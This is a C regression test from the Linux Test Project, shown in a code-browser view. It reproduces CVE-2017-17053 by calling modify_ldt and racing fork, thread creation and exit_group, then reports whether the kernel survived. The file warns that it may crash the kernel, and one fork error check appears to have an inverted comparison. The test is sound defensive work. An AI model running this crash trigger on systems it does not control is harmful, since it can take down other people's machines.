xref: /aosp_15_r20/external/ltp/testcases/cve/cve-2017-17053.c (revision 49cdfc7efb34551c7342be41a7384b9c40d7cab7)
1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3  * Copyright (c) 2018 Michael Moese <[email protected]>
4  */
5 /* Regression test for CVE-2017-17053, original reproducer can be found
6  * here:
7  * https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ccd5b3235180eef3cfec337df1c8554ab151b5cc
8  *
9  * Be careful! This test may crash your kernel!
10  */
11 
12 #include "config.h"
13 #include "tst_test.h"
14 
15 #ifdef HAVE_ASM_LDT_H
16 #include <asm/ldt.h>
17 #include <pthread.h>
18 #include <signal.h>
19 #include <stdlib.h>
20 #include <sys/syscall.h>
21 #include <sys/wait.h>
22 #include <unistd.h>
23 #include <stdio.h>
24 
25 #include "lapi/syscalls.h"
26 
27 #define EXEC_USEC   5000000
28 
29 /* this is basically identical to SAFE_PTHREAD_CREATE(), but is tolerating the
30  * call to fail whenn the error is EAGAIN or EWOULDBLOCK */
try_pthread_create(pthread_t * thread_id,const pthread_attr_t * attr,void * (* thread_fn)(void *),void * arg)31 static void try_pthread_create(pthread_t *thread_id, const pthread_attr_t *attr,
32 			       void *(*thread_fn)(void *), void *arg)
33 {
34 	int rval;
35 
36 	rval = pthread_create(thread_id, attr, thread_fn, arg);
37 
38 	if (rval && rval != EAGAIN && rval != EWOULDBLOCK)
39 		tst_brk(TBROK, "pthread_create(%p,%p,%p,%p) failed: %s",
40 			thread_id, attr, thread_fn, arg, tst_strerrno(rval));
41 }
42 
43 /* this is basically identical to SAFE_FORK(), but is tolerating the
44  * call to fail whenn the error is EAGAIN or EWOULDBLOCK */
try_fork(void)45 static int try_fork(void)
46 {
47 	pid_t pid;
48 
49 	tst_flush();
50 
51 	pid = fork();
52 	if (pid < 0 && errno != EAGAIN && errno == EWOULDBLOCK)
53 		tst_brk(TBROK | TERRNO, "fork() failed");
54 
55 	return pid;
56 }
57 
58 
59 
60 struct shm_data {
61 	volatile sig_atomic_t do_exit;
62 	volatile sig_atomic_t segfaulted;
63 };
64 static struct shm_data *shm;
65 
handler(int sig)66 static void handler(int sig)
67 {
68 	(void)sig;
69 
70 	shm->segfaulted = 1;
71 	shm->do_exit = 1;
72 }
73 
install_sighandler(void)74 static void install_sighandler(void)
75 {
76 	struct sigaction sa;
77 
78 	sa.sa_flags = SA_SIGINFO;
79 	sigemptyset(&sa.sa_mask);
80 	sa.sa_handler = handler;
81 
82 	SAFE_SIGACTION(SIGSEGV, &sa, NULL);
83 }
84 
setup(void)85 static void setup(void)
86 {
87 	shm = SAFE_MMAP(NULL, sizeof(struct shm_data),
88 			PROT_READ | PROT_WRITE,
89 			MAP_SHARED | MAP_ANONYMOUS, -1, 0);
90 }
91 
cleanup(void)92 static void cleanup(void)
93 {
94 	SAFE_MUNMAP(shm, sizeof(struct shm_data));
95 }
96 
fork_thread(void * arg)97 static void *fork_thread(void *arg)
98 {
99 	try_fork();
100 	return arg;
101 }
102 
run_test(void)103 void run_test(void)
104 {
105 	struct user_desc desc = { .entry_number = 8191 };
106 
107 	install_sighandler();
108 	syscall(__NR_modify_ldt, 1, &desc, sizeof(desc));
109 
110 	for (;;) {
111 		if (shm->do_exit)
112 			exit(0);
113 
114 		if (try_fork() == 0) {
115 			pthread_t t;
116 
117 			srand(getpid());
118 			try_pthread_create(&t, NULL, fork_thread, NULL);
119 			usleep(rand() % 10000);
120 			syscall(__NR_exit_group, 0);
121 		}
122 	}
123 }
124 
run(void)125 void run(void)
126 {
127 	int status;
128 	pid_t pid;
129 
130 	shm->do_exit = 0;
131 	shm->segfaulted = 0;
132 
133 	pid = SAFE_FORK();
134 	if (pid == 0) {
135 		run_test();
136 	} else {
137 		usleep(EXEC_USEC);
138 		shm->do_exit = 1;
139 	}
140 
141 	SAFE_WAIT(&status);
142 
143 	if (WIFEXITED(status) && shm->segfaulted == 0 && tst_taint_check() == 0)
144 		tst_res(TPASS, "kernel survived");
145 	else
146 		tst_res(TFAIL, "kernel is vulnerable");
147 }
148 
149 static struct tst_test test = {
150 	.forks_child = 1,
151 	.setup = setup,
152 	.cleanup = cleanup,
153 	.test_all = run,
154 	.taint_check = TST_TAINT_W | TST_TAINT_D,
155 	.tags = (const struct tst_tag[]) {
156 		{"linux-git", "ccd5b3235180"},
157 		{"CVE", "2017-17053"},
158 		{}
159 	}
160 };
161 
162 #else
163 TST_TEST_TCONF("no asm/ldt.h header (only for i386 or x86_64)");
164 #endif
165